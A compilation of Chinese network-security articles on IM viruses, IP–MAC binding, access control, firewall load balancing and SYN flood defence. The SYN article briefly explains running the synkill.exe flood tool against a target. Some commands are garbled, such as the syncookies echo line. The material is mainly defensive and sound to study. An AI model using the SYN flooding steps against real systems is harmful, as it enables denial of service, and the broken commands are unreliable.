  使用者和分析家们都说,在公司网络上自由使用聊天软件带来的安全问题,迫使我们不得不采用更好的安全措施和更高的商业升级产品。但迄今为止,可以说对付即使通信病毒并没有一个最安全的、一劳永逸的软件,那么怎么才能免于病毒的袭击呢?反病毒专家们建议:这需要软件厂商、防杀毒部门、用户自身三方协力。

  软件厂商要减少软件的设计漏洞,提高软件的安全性;防毒中心要时刻注意病毒动向,杀毒软件厂商要不断进行杀毒软件的版本升级,提高病毒查杀能力;用户自身在使用电脑时要使用杀毒软件,不要随意下载可疑文件,点击不明链接。 

  即时通讯软件以及使用量越来越高的P2P点对点传输软件目前正被防毒公司视为未来加强防范的重点。赛门铁克行销部门的一位负责人表示,他们已经在全世界范围内加强了这方面的病毒警告,并且加强了软件的查杀功能,这位负责人还强盗,理论上只要是透过网路的行为,就有病毒或安全漏洞疑虑,因此赛门铁克已经针对手机、PDA等无线产品规划了安全防护产品,将在未来推出。 国内江民、瑞星、金山等著名防病毒软件厂商也纷纷不断升级自己的病毒库,缩短自己的升级周期,提醒用户及时地安装补丁和升级杀毒软件版本,以有效地增强即时通信系统的安全性,减少被攻击的危险。

企业网络稳定运行 IP地址管理是重点

企业网络稳定运行 IP地址管理是重点

作者:korn 来源:赛迪网技术社区

网络中断是为网络事故中最常见的问题之一,而此问题的产生多与IP地址有关。只要有一台个人电脑的地址设置不正确,网络的传输就会受到影响,甚至整个网络都会瘫痪。

我们知道,对于在Internet和Intranet网络上,使用TCP/IP协议时每台主机必须具有独立的IP地址,有了IP地址的主机才能与网络上的其它主机进行通讯。

随着网络应用普及,网络客户急剧膨胀,由于静态IP地址分配,IP地址冲突和IP地址篡改的麻烦相继而来。IP地址篡改,网络能正常运行,但是网络传输质量发生了变化,改变的原因为路由改变了;IP地址冲突也造成了很坏的影响。

四种因素造成IP地址冲突

只要网络上存在冲突的机器,网络客户不能正常工作。因为只要有冲突的网络终端一启动,在客户机上都会频繁出现地址冲突的提示:“如果网络上某项应用的安全策略是基于IP地址进行的,这种非法的IP用户会对应用系统的安全造成了严重威胁。出现问题有时并不能及时发现,只有在相互冲突的网络客户同时都在开机状态时才能显露出问题,所以具有相当的隐蔽性。一般而言,下列几种情况有可能造成IP地址冲突:

1、很多用户对TCP/IP并不了解,不知道“IP地址”、“子网掩码”、“默认网关”等参数如何设置,有时用户不是从管理员处得到的上述参数的信息,或者是用户无意修改了这些信息。

2、管理员或用户根据管理员提供的上述参数进行设置时,由于失误造成参数输错。

3、在客户机维修调试时,维修人员使用临时IP地址应用造成。

4、有人窃用他人的IP地址。

ping等命令可廉价解决问题

如果导入了昂贵的网络管理软件,也许就能够更加轻松地解决问题。但是利用ping等命令,基本上可以解决所有的问题。当发生故障以后,首先使用ping命令。如果使用得当,其作用堪与昂贵的软件相媲美。当出现IP地址冲突时候,我们首先要确定冲突发生的VLAN。

通过IP规划的vlan定义,和冲突的IP地址,找到冲突地址所在的网段。这对成功地找到网卡MAC地址很关键,因为有些网络命令不能跨网段存取。将客户机与网络隔离,让非法的IP地址的微机在网上运行,网管员便可以设法找到它了。应用网络测试命令有ping命令和arp命令。使用ping命令,假设冲突的IP地址为134.39.236.136,在msdos窗口,命令格式如下,其中斜体部分是命令结果。

C:\WIDOWS\〉ping 134.39.236.136

Request timed out

Reply from 134.39.236.136 bytes=32 time〈1ms TTL=128

我们之所以要ping这台机器,是出于两个目的,首先我们要知道我们要找的机器确实在网络上;其次,我们要知道这台机器的网卡的MAC地址,那么我们如何知道它的MAC地址呢?这就需要使用第二个命令arp:arp命令只能在某一个VLAN中使用有效,它是低层协议,并不能跨路由。

C:\WIDOWS\〉arp-a

Interface:......onInerface.....

InternetAddress/PhysicalAddress/Type

134.39.236.136/00-30-88-02-dc-5c /dynamic

以上列表表示出冲突IP地址134.39.236.136处网卡的MAC地址为00-30-88-02-dc-5c。接下来我们通过网络执行官管理软件找到是MAC地址为00-30-88-02-dc-5c的网卡的具体物理位置。

防范冲突比解决冲突更重要

做好预防IP地址冲突,是问题的根本。解决这种问题并不是很难,需要网络管理员做到以下几点:

首先,做好整个局域网终端用户计算机的命名,指定IP地址,根据用户的类别统一命名计算机,并给定IP地址。这样一看机器名,就知道是哪个部门哪台机器,便于管理。比如综合部001号机器,我们就将其命名为”zonghebu001”。同时,统一规划分配IP地址给每台终端机器,并建立IP地址分配登记表。

其次,统计每个终端机器网卡的MAC地址,建立IP地址与MAC地址对应表。在MS-DOS方式下键入命令“WinIPcfg”就可以获得本机IP地址和MAC地址。我们可以将此方法公布一下,然后要求相关用户将本机MAC地址抄录上报到网管中心,再进行登记汇总。也可在设定机器名和IP地址时一并统计好。网络管理员也可以利用Nbtstat命令来远程获得指定机器的MAC地址。在MS-DOS方式下键入命令“Nbtstat -a 远程计算机名”,即可获得指定机器的IP地址和MAC地址。

最后,将IP地址与MAC地址绑定。这要根据局域网接入互联网的方式不同而采用不同的办法。

方法一:交换机控制  解决IP地址的最彻底的方法是使用交换机进行控制,即在TCP/IP第二层进行控制。使用交换机提供的端口的单地址工作模式,即交换机的每一个端口只允许一台主机通过该端口访问网络,任何其它地址的主机的访问被拒绝。但此方案的最大缺点在于它需要网络上全部采用交换机提供用户接入,这在交换机相对昂贵的今天不是一个能够普遍采用的解决方案。

方法二:路由器隔离  采用路由器隔离的办法的主要依据是MAC地址作为以太网卡地址全球唯一不能改变。其实现方法为通过SNMP协议定期扫描各路由器的ARP表,获得当前IP和MAC的对照关系,和事先合法的IP和MAC地址比较,如不一致,则为非法访问。对于非法访问,有几种办法可以制止,如

1.使用正确的IP与MAC地址映射覆盖非法的IP-MAC表项;

2.向非法访问的主机发送ICMP不可达的欺骗包,干扰其数据发送;

3.修改路由器的存取控制列表,禁止非法访问。

路由器隔离的另外一种实现方法是使用静态ARP表,即路由器中IP与MAC地址的映射不通过ARP来获得,而采用静态设置。这样,当非法访问的IP地址和MAC地址不一致时,路由器根据正确的静态设置转发的帧就不会到达非法主机。

使用静态IP地址分配可以对各部门进行合理的IP地址规划,能够在第三层上方便地跟踪管理,如果我们通过加强对MAC地址的管理,同样也会有效地解决这一问题。

总之,在网络用户连网的同时,建立IP地址和MAC地址的信息档案,自始至终地对局域网客户执行严格的管理、登记制度,将每个用户的IP地址、MAC地址、上联端口、物理位置和用户身份等信息记录在网络管理员的数据库中。

试想,在我们上述的案例中,如果知道了非法用户的MAC地址后,我们可以从管理员数据库中进行查寻,如果我们对MAC地址记录全面,我们便可以立即找到具体的使用人的信息,这会节省我们大量宝贵时间,避免大海捞针的烦恼。同时我们对于某些应用应避免使用IP地址来进行权限限制,如果我们从MAC地址上进行限制相对来说要安全的多,这样可以有效地防止有人窃取IP地址的侥幸行为. 管理IP地址是一项长期工作,管理的好坏,直接影响企业网络发展。

企业网络安全(上)——先安内还是先攘外

作者:Juniper/张小琳 来源:赛迪网

几年前,网络上的黑客圈内盛传,许多公司的来源码遭窃,甚至连知名安全软件的来源码都已经可以公然在网络上买到。这听起来不禁让人有点胆颤心惊,其中的缘由,据说是因为当时无线网络开始盛行,许多企业由于尚未对无线网络安全做出有效的管理,便因此遭到了入侵与破坏。

忘了要安内

不管是安装防火墙、入侵检测系统等等,企业的着眼点往往是放在外部的威胁上,企业网内部的安全管理,就常常被忽略了。从上一段的例子可以了解到,随着网络技术的演进,整个网络世界已与以前大大不同,不再只是单纯的有线环境,网络控管也变得较为困难。

此前,企业习惯于攘外再安内的原因是,以往对于企业网络的攻击主要来自于企业外部,所以企业习惯先部署防御外在威胁的安全架构,如防火墙、入侵检测系统等;然而现今的网络攻击模式,如间谍软件等,都是先在企业内部网络进行档案破坏或密码解译等动作,更有甚者是在之后再将企业内部信息打包送出,这种攻击模式已经变成一种新的趋势。因此,企业网络安全要做得透彻,应该要从连上网络的那一刻便开始注意。

企业控管有三大层面,除了管制使用者能否上网之外,接下来要管制使用者的上网行为,让其符合公司的安全规范;最后一个部份则是分层管理,也就是针对使用者取得内部网络使用授权之后的资源管理,像是每个部门都应该受到不同的权限要求与保障。

零时差攻击所造成的惨剧

所谓的零时差攻击(Zero-Day Attack)意指从安全漏洞发生时到自动攻击开始的时间急遽缩短,由于类似浏览器攻击的模式大幅增加,企业网络常因员工不慎上了恶意网站而导致单机被植入后门程序,企业网络系统也常因此受到影响。

我们见到许多恶意软件作者在“空窗期”(辨识出恶意软件并提供修补程序之前)试图感染计算机,此趋势似乎一直延续至今。即便企业已经部署了所有必要的防火墙、入侵检测系统、病毒防护程序等,此类利用 WMF 弱点的零时差攻击就足以让企业 IT 管理者头痛不已。

越来越多的员工现在都使用笔记本电脑在家工作,或是出差时在旅馆或机场内工作。不过一个非常重要的环节却可能被忽略:公司网络内部的接入控制。因此在员工直接联机到企业内部网络时,审慎控制接入流程 (包括员工的身份认证、检查 PC或笔记本电脑的安全状态等) 是非常重要的。不过,Gartner 最近的报告指出,即使最好的企业也只能控制大约 80% 的网络端点 (员工的笔记本电脑/PC)。

UAC的概念与管理(见下图)



图1-UAC基础构架

所谓UAC (Unified Access Control,统一接入控制) 是产业级的协同研究成果,可以协助保证每一个接入点在进入网络前皆符合网络安全规范,每个使用者要先取得PC及其它装置的接入权限才能进入特定的网络。UAC的解决方案保证端点设备在接入网络前是完全遵循已建立的安全策略,并确保不符合安全策略的设备无法接入该网络、并设置可补救的隔离区供端点修正网络政策,或限制其可接入的资源。

企业网络安全(下)——图便利还是重安全

作者:Juniper/张小琳 来源:赛迪网

UAC的架构基本上是由三个主要的组件所组成,包含了Policy Server (政策服务器,即控制器)、Agent(代理器)以及 Enforcer(执行器)。政策服务器(控制器)的作用是检查从网络接入装置转送来的端点安全凭证,判定并给予其适当的接入权限 (如允许进入、隔离或拒绝进入);Agent 的功能在于搜集端点的安全信息与设定等信息,并把这些信息传递到网络接入装置 (Enforcer);Enforcer 则是强制执行的设备,负责阻挡或隔离不符合网络政策的网络行为。

UAC是业界对企业网络更高的安全需求所产生的反应,是一种更为全面性的防护方式,持续监控使用者的联机,而不是单纯假设只要使用者通过网络联机一开始的安全和恶意软件检查,便不会做出其它违反安全规范的行为。基本上,完整而有效的UAC 架构应该要能提供以下几个层面的安全功能:

端点安全状态检查 - 评估联机装置的“安全健康状况”。

零时攻击防御 - 主动预测出潜在威胁,而非只针对已发现的威胁做出反应。

动态执行政策 - 能够实时对网络上的高风险活动立即采取行动。

精确进行隔离与矫正 - 隔离威胁来源并排解疑难。

提供网络情报 - 提供 IT 管理人员进行管理决策所需的信息。

政策决定和政策执行 - 将网络接入对应至企业需求。

有了安全没了方便?

病毒与蠕虫不断的透过网络来影响企业营运,因为它而导致企业必须面对停工、恢复所需费用、无止尽的修补、公共责任、收入损失等等。零时差攻击表明了,系统安全更新 (patch) 远跟不上脆弱的系统被攻击的速度,往往系统在安全管理者提供最新的更新码 (patch、病毒码) 前就已经遭受了攻击。UAC 是应对无所不在的攻击模式所产生的防护架构,只是,防堵了因为图一己之便所衍生出的网络安全问题,却有可能因此降低了企业流程的便利性?

企业在部署 UAC或其它安全防护机制时,一定要在安全维护与使用便利性上取得平衡。根据知名研究机构 Current Analysis调查指出,企业在部署安全防护方案时有四点基本的考虑与需求,第一个要求是部署简单,可以快速完成;第二个考虑是开放标准,也就是希望未来新的解决方案要能支持各端点的安全需求,要能整合各种增值应用,如此才不会被特定安全提供商所牵绊住,各项产品才有机会整合成一个完美的防护机制;第三个考虑则是希望除了内部员工之外,包括合作厂商、访客等在进入企业网络范畴之前都能够受到管控;最后一项则是,希望能够分阶段部署这些安全机制与设备,不管是按照部门或是依照网络层的不同来分段设置,也希望能够整合不同时间所设置的安全设备。

接入控制机制除了要针对内部员工之外,也常需针对外在的访客来作出反应。目前,一些先进的科学园区中许多企业在访客携带笔记本计算机进入公司之前,都会要求其填写一份安全防护问卷表,若是填写的问卷表中显示,访客没有符合该公司的安全防护规定,如未安装某些防毒软件等,常会被要求须在特定区域等候负责人员替访客执行笔记本计算机的扫毒动作,确认安全无虞之后才准在企业内部上网。如此的安全维护动作虽然很确实,但却是非常不方便,除了会增加企业 IT 人员的负担外,也耽误到访客的宝贵时间。

平衡方案与未来趋势

有了安全就没了方便,要方便使否就要忽略安全呢?有企业开始使用无代理的方式来平衡便利接入与安全防护这两个难以取舍的网络安全议题(下图)。许多企业开始以较简易而不用直接安装防护机制的方式来做到安全与便利性的并重;譬如当外来访客上网准备进入内网体系时,类似UAC架构中Enforcer(执行器)的机制,若发现访客电脑尚未安装某些防毒程序或是病毒码未更新等违反企业安全规范的状况,便会自动将其导引至某些特定的网页,让其自动可以更新病毒码,或是干脆让其只能接入特定网页,而无法接入企业网络内的资源,这就是系统的矫正以及隔离功能。



图2—灵活、标准的接入控制

随着可选择的网络连结方式增加,企业网络的发展正逐步摆脱传统的思考模式与过去的约束。现在的企业开始认识到,互联网联机的普遍性所带来的弹性和赋予的能力,必须与完善详尽的安全措施达到一个平衡点,以保持企业的优势不受到负面影响。UAC 技术可说是应对此种趋势适时发展出来的技术,不但可解决目前及正在浮现的远程安全接入的需求,还可能成为接入控制机制的公认标准,完全改写目前有关使用者应该如何接入重要企业信息的想法。只是,对于UAC的架构,业界标准尚未完全确定,TNC 等团体的出现,为开放标准的统一拨开的一道曙光,也让企业网络安全的建构,有了更大的未来性。

使用Web交换机为网络防火墙排忧解难

使用Web交换机为网络防火墙排忧解难

作者:smtk来源:赛迪网安全社区

Web交换技术的进步不仅仅优化了Web服务器,同时它还可以用来解决当前防火墙引起的一些问题。

尽管防火墙在防止网络入侵方面具有很高的效率,并已成为提交安全Web站点和服务的关键因素,但是,所有这些安全性都是以很高代价取得的。简言之,防火墙会限制性能和可伸缩性。由于防火墙是会造成单故障点的在线设备,因此它会降低网络的可用性。

将防火墙技术与新出现的Web交换技术相结合可以使防火墙的性能、可用性和可伸缩性得到极大的改善。

最常用的防火墙由安装在一台服务器上的软件构成。这台服务器上安装了两块网卡,并被插入到数据路径上。其中的一块网卡连接到网络的公共端,公共端通常为与Internet相连的路由器(即所谓防火墙的“不洁”端)。另一块网卡与必须保护的资源相连(即所谓防火墙的“清洁”端)。

防火墙安装在数据路径上,因此限制了网络的性能和可伸缩性,原因是所有通过不洁端和清洁端的数据流都必须流过防火墙。防火墙使用过滤技术和其它由网络管理人员预先设定的策略,对每个数据包进行检查。

问题是最适于防火墙的处理结构并不适于检查高容量的数据包。扩展防火墙的性能十分困难,因为它通常涉及到成本的高昂升级:使用更高性能的配置及目前功能最强大处理器的服务器。

新出现的Web交换技术被人们普遍认为是扩展防火墙容量、提高防火墙设备总体可用性的解决方案。在实现防火墙负载平衡时,需要使用两台Web 交换机:一台安装在防火墙的清洁端,另一台安装在不洁端。每台Web交换机都将输入的IP流通过防火墙发向另一端的对应Web交换机。这样就实现了在几个防火墙上的负载平衡,因此,使防火墙可以并行运行,扩展了防火墙的性能,并且消除了防火墙成为单故障点的可能。

与传统的包交换机不同,Web交换机具有保持以太网和千兆以太网速率传输的不同TCP会话的能力。由于防火墙是一种状态性(stateful)的设备,因此,所有与建立会话相关的数据包都要流过相同的防火墙。Web交换机智能地保持流经防火墙的数据流的状态信息,因而保证了所有在特定IP源/目的地址对之间传输的数据流都流过同一个防火墙。反过来,这也保证了防火墙建立的会话持续性。

防火墙负载平衡技术也可以被用来减少防火墙需要完成的数据流过滤功能的工作量,这正是实施“非军事区”(DMZ)技术的主要优点。在DMZ中保存象Internet这类Web服务器要求公共访问的资源。Web交换机需要具有数据流过滤功能来确定哪些数据包应当被传送到DMZ,哪些应当穿过防火墙。从防火墙上去除掉过滤功能大大提高了防火墙性能,加快了用户数据流的速度。

Web交换机被配置为允许或拒绝对DMZ服务器访问的过滤器,以这种方式实现了两级水平的安全性:一级利用配置在Web交换机上的过滤器对访问进行限制,另一级通过由防火墙进行的状态检查限制访问。

为保持防火墙的高可用性,Web交换机利用连续地向防火墙另一端的对应Web交换机上的每个端口发送强制回应命令(ping)来监控防火墙的“健康”情况。如果防火墙或Web交换机端口出现故障,数据流就被分配到其余的“健康”Web交换机端口和相关的防火墙上。

防火墙负载平衡利用新型Web交换技术解决了由防火墙引起的许多性能问题和可伸缩性问题。这项技术使防火墙可以并行地运行,在不用进行重大升级的条件下,大大提高了效率,扩展了性能,并消除了防火墙成为单故障点的可能。

黑客知识之SYN攻击原理以及防范技术

作者:smtk来源:赛迪网安全社区

据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。

据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。

一、TCP握手协议

在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。

第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;

第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:

未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。

Backlog参数:表示未连接队列的最大容纳数目。

SYN-ACK 重传次数服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。

半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。

二、SYN攻击原理

SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。

三、SYN攻击工具

SYN攻击实现起来非常的简单,互联网上有大量现成的SYN攻击工具。

1、Windows系统下的SYN工具

以synkill.exe为例,运行工具,选择随机的源地址和源端囗,并填写目标机器地址和TCP端囗,激活运行,很快就会发现目标系统运行缓慢。如果攻击效果不明显,可能是目标机器并未开启所填写的TCP端囗或者防火墙拒绝访问该端囗,此时可选择允许访问的TCP端囗,通常,windows系统开放tcp139端囗,UNIX系统开放tcp7、21、23等端囗。

四、检测SYN攻击

检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击。我们使用系统自带的netstat 工具来检测SYN攻击:

# netstat -n -p TCP

tcp0 0 10.11.11.11:23124.173.152.8:25882 SYN_RECV-

tcp0 0 10.11.11.11:23236.15.133.204:2577 SYN_RECV-

tcp0 0 10.11.11.11:23127.160.6.129:51748 SYN_RECV-

tcp0 0 10.11.11.11:23222.220.13.25:47393 SYN_RECV-

tcp0 0 10.11.11.11:23212.200.204.182:60427 SYN_RECV-

tcp0 0 10.11.11.11:23232.115.18.38:278 SYN_RECV-

tcp0 0 10.11.11.11:23239.116.95.96:5122SYN_RECV-

tcp0 0 10.11.11.11:23236.219.139.207:49162 SYN_RECV-

...

上面是在LINUX系统中看到的,很多连接处于SYN_RECV状态(在WINDOWS系统中是SYN_RECEIVED状态),源IP地址都是随机的,表明这是一种带有IP欺骗的SYN攻击。

我们也可以通过下面的命令直接查看在LINUX环境下某个端囗的未连接队列的条目数:

#netstat -n -p TCP grep SYN_RECV grep :22 wc -l 324

显示TCP端囗22的未连接数有324个,虽然还远达不到系统极限,但应该引起管理员的注意。

五、SYN攻击防范技术

关于SYN攻击防范技术,人们研究得比较早。归纳起来,主要有两大类,一类是通过防火墙、路由器等过滤网关防护,另一类是通过加固TCP/IP协议栈防范.但必须清楚的是,SYN攻击不能完全被阻止,我们所做的是尽可能的减轻SYN攻击的危害,除非将TCP协议重新设计。

1、过滤网关防护

这里,过滤网关主要指明防火墙,当然路由器也能成为过滤网关。防火墙部署在不同网络之间,防范外来非法攻击和防止保密信息外泄,它处于客户端和服务器之间,利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设置,SYN网关和SYN代理三种。

■网关超时设置:

防火墙设置SYN转发超时参数(状态检测的防火墙可在状态表里面设置),该参数远小于服务器的timeout时间。当客户端发送完SYN包,服务端发送确认包后(SYN+ACK),防火墙如果在计数器到期时还未收到客户端的确认包(ACK),则往服务器发送RST包,以使服务器从队列中删去该半连接。值得注意的是,网关超时参数设置不宜过小也不宜过大,超时参数设置过小会影响正常的通讯,设置太大,又会影响防范SYN攻击的效果,必须根据所处的网络应用环境来设置此参数。

■SYN网关:

SYN网关收到客户端的SYN包时,直接转发给服务器;SYN网关收到服务器的SYN/ACK包后,将该包转发给客户端,同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时,如果有数据则转发,否则丢弃。事实上,服务器除了维持半连接队列外,还要有一个连接队列,如果发生SYN攻击时,将使连接队列数目增加,但一般服务器所能承受的连接数量比半连接数量大得多,所以这种方法能有效地减轻对服务器的攻击。

■SYN代理:

当客户端SYN包到达过滤网关时,SYN代理并不转发SYN包,而是以服务器的名义主动回复SYN/ACK包给客户,如果收到客户的ACK包,表明这是正常的访问,此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击,此时要求过滤网关自身具有很强的防范SYN攻击能力。

2、加固tcp/ip协议栈

防范SYN攻击的另一项主要技术是调整tcp/ip协议栈,修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYN cookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限,管理员应该在进行充分了解和测试的前提下进行此项工作。

■SynAttackProtect机制

为防范SYN攻击,win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位置增加SynAttackProtect键值:

HKLMSYSTEMCurrentControlSetServicesTcpipParameters

当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设置时,系统不受SynAttackProtect保护。

当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(route cache entry)防范SYN攻击。

当SynAttackProtect值为2时(Microsoft推荐使用此值),系统不仅使用backlog队列,还使用附加的半连接指示,以此来处理更多的SYN连接,使用此键值时,tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。

我们应该知道,平时,系统是不启用SynAttackProtect机制的,仅在检测到SYN攻击时,才启用,并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢?事实上,系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。

TcpMaxHalfOpen 表示能同时处理的最大半连接数,如果超过此值,系统认为正处于SYN攻击中。Win2000server默认值为100,Win2000Advanced server为500。

TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数,如果超过此值,系统自动启动SynAttackProtect机制。Win2000server默认值为80,Win2000 Advanced server为400。

TcpMaxPortsExhausted是指系统拒绝的SYN请求包的数量,默认是5。

如果想调整以上参数的默认值,可以在注册表里修改(位置与SynAttackProtect相同)

■ SYN cookies技术

我们知道,TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目,当SYN请求不断增加,并这个空间,致使系统丢弃SYN连接。为使半连接队列被塞满的情况下,服务器仍能处理新到的SYN请求,SYN cookies技术被设计出来。

SYN cookies应用于linux、FreeBSD等操作系统,当半连接队列满时,SYNcookies并不丢弃SYN请求,而是通过加密技术来标识半连接状态。

在TCP实现中,当收到客户端的SYN请求时,服务器需要回复SYN+ACK包给客户端,客户端也要发送确认包给服务器。通常,服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数,但在SYN cookies中,服务器的初始序列号是通过对客户端IP地址、客户端端囗、服务器IP地址和服务器端囗以及其他一些安全数值等要素进行hash运算,加密得到的,称之为cookie。当服务器遭受SYN攻击使得backlog队列满时,服务器并不拒绝新的SYN请求,而是回复cookie(回复包的SYN序列号)给客户端, 如果收到客户端的ACK包,服务器将客户端的ACK序列号减去1得到cookie比较值,并将上述要素进行一次hash运算,看看是否等于此cookie。如果相等,直接完成三次握手(注意:此时并不用查看此连接是否属于backlog队列)。

在RedHat linux中,启用SYN cookies是通过在启动环境中设置以下命令来完成:

# echo 1 ?? /proc/sys/net/ipv4/tcp_syncookies

■ 增加最大半连接数

大量的SYN请求导致未连接队列被塞满,使正常的TCP连接无法顺利完成三次握手,通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源,不能被无限的扩大。

WIN2000:除了上面介绍的TcpMaxHalfOpen, TcpMaxHalfOpenRetried参数外,WIN2000操作系统可以通过设置动态backlog(dynamic backlog)来增大系统所能容纳的最大半连接数,配置动态backlog由AFD.SYS驱动完成,AFD.SYS是一种内核级的驱动,用于支持基于window socket的应用程序,比如ftp、telnet等。AFD.SYS在注册表的位置:

HKLMSystemCurrentControlSetServicesAFDParametersEnableDynamicBacklog值为1时,表示启用动态backlog,可以修改最大半连接数。

MinimumDynamicBacklog表示半连接队列为单个TCP端囗分配的最小空闲连接数,当该TCP端囗在backlog队列的空闲连接小于此临界值时,系统为此端囗自动启用扩展的空闲连接(DynamicBacklogGrowthDelta),Microsoft推荐该值为20。

MaximumDynamicBacklog是当前活动的半连接和空闲连接的和,当此和超过某个临界值时,系统拒绝SYN包,Microsoft推荐MaximumDynamicBacklog值不得超过2000。

DynamicBacklogGrowthDelta值是指扩展的空闲连接数,此连接数并不计算在MaximumDynamicBacklog内,当半连接队列为某个TCP端囗分配的空闲连接小于MinimumDynamicBacklog时,系统自动分配DynamicBacklogGrowthDelta所定义的空闲连接空间,以使该TCP端囗能处理更多的半连接。Microsoft推荐该值为10。

LINUX:Linux用变量tcp_max_syn_backlog定义backlog队列容纳的最大半连接数。在Redhat 7.3中,该变量的值默认为256,这个值是远远不够的,一次强度不大的SYN攻击就能使半连接队列占满。我们可以通过以下命令修改此变量的值:

# sysctl -w net.ipv4.tcp_max_syn_backlog=`2048`

Sun Solaris Sun Solaris用变量tcp_conn_req_max_q0来定义最大半连接数,在Sun Solaris 8中,该值默认为1024,可以通过add命令改变这个值:

# ndd -set /dev/tcp tcp_conn_req_max_q0 2048

HP-UX:HP-UX用变量tcp_syn_rcvd_max来定义最大半连接数,在HP-UX11.00中,该值默认为500,可以通过ndd命令改变默认值:

#ndd -set /dev/tcp tcp_syn_rcvd_max 2048

■缩短超时时间

上文提到,通过增大backlog队列能防范SYN攻击;另外减少超时时间也使系统能处理更多的SYN请求。我们知道,timeout超时时间,也即半连接存活时间,是系统所有重传次数等待的超时时间总和,这个值越大,半连接数占用backlog队列的时间就越长,系统能处理的SYN请求就越少。为缩短超时时间,可以通过缩短重传超时时间(一般是第一次重传超时时间)和减少重传次数来实现。

Win2000第一次重传之前等待时间默认为3秒,为改变此默认值,可以通过修改网络接囗在注册表里的TcpInitialRtt注册值来完成。重传次数由TcpMaxConnectResponseRetransmissions 来定义,注册表的位置是:HKLMSYSTEMCurrentControlSetServicesTcpipParameters registry key。

当然我们也可以把重传次数设置为0次,这样服务器如果在3秒内还未收到ack确认包就自动从backlog队列中删除该连接条目。

LINUX:Redhat使用变量tcp_synack_retries定义重传次数,其默认值是5次,总超时时间需要3分钟。

Sun Solaris Solaris默认的重传次数是3次,总超时时间为3分钟,可以通过ndd命令修改这些默认值。

网络安全之防火墙概念与访问控制列表

作者:itzealot来源:赛迪网IT博客

个人认识防火墙分软件防火墙与硬件防火墙。 就软件防火墙而言又分网络防火墙与病毒防火墙,这之中还有手机防火墙。我们常用到的软件防火墙品牌包括瑞星,冰盾等。 就硬件防火墙我这里就引用点现成的东西,以便说明硬件防火墙在网络中的使用。

首先为什么要研究安全?

什么是“计算机安全”?广义地讲,安全是指防止其他人利用、借助你的计算机或外围设备,做你不希望他们做的任何事情。首要问题是:“我们力图保护的是些什么资源?”答案并不是明确的.通常,对这个问题的答案是采取必要的主机专用措施。图5描述了目前的网络现壮。



许多人都抱怨Windows漏洞太多,有的人甚至为这一个又一个的漏洞烦恼。为此,本文简要的向您介绍怎样才能架起网络安全防线。

禁用没用的服务

